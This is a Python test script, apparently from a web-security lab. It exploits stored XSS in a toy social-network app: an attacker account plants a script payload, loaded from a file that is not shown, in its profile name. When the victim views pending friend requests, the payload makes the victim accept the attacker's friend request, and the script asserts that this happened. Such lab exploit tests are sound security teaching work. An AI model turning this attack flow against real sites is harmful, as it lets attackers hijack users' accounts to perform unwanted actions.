text: from requests import session, get
  from sys import argv
  from random import randint
  from Common.Driver import runScript, getScript
  
  SERVER = argv[1]
  
  victimSession = session()
  victimUsername = str(randint(2 ** 27, 2 ** 28))
  victimPassword = str(randint(2 ** 27, 2 ** 28))
  attackerSession = session()
  attackerUsername = str(randint(2 ** 27, 2 ** 28))
  attackerPassword = str(randint(2 ** 27, 2 ** 28))
  scrPath = "Common/Scripts/XSS/AcceptsFriendRequest.html"
  
  # Cleaning DB
  r = get(SERVER + "/init")
  assert "Initialisation DONE!" in r.text
  
  # Attacker Registration
  data = {
      "username": attackerUsername,
      "password": attackerPassword
  }
  r = attackerSession.post(SERVER + "/register", data=data)
  
  assert "Welcome" in r.text
  assert attackerUsername in r.text
  
  # Attacker Name Update
  sArgs = {
      "username": attackerUsername
  }
  data = {
      "name": getScript(scrPath, sArgs=sArgs),
      "currentpassword": attackerPassword,
      "newpassword": "",
      "about": ""
  }
  files = {
      "photo": ""
  }
  r = attackerSession.post(SERVER + "/update_profile", data=data, files=files)
  assert "Succesfully" in r.text
  assert attackerUsername in r.text
  
  # Victim Registration
  data = {
      "username": victimUsername,
      "password": victimPassword
  }
  r = victimSession.post(SERVER + "/register", data=data)
  
  assert "Welcome" in r.text
  assert victimUsername in r.text
  
  # Attacker sends a Friend Requests to the Victim
  data = {
      "username": victimUsername
  }
  r = attackerSession.post(SERVER + "/request_friend", data=data)
  
  assert "Succesfully" in r.text
  assert victimUsername in r.text
  
  # Victim Checks Friend Requests
  runScript(SERVER, SERVER + "/pending_requests", victimSession)
  
  # Victim Checks Friends
  r = victimSession.get(SERVER + "/friends")
  
  assert attackerUsername in r.text
  
  print("Success!")
  victimSession.close()
  attackerSession.close()
  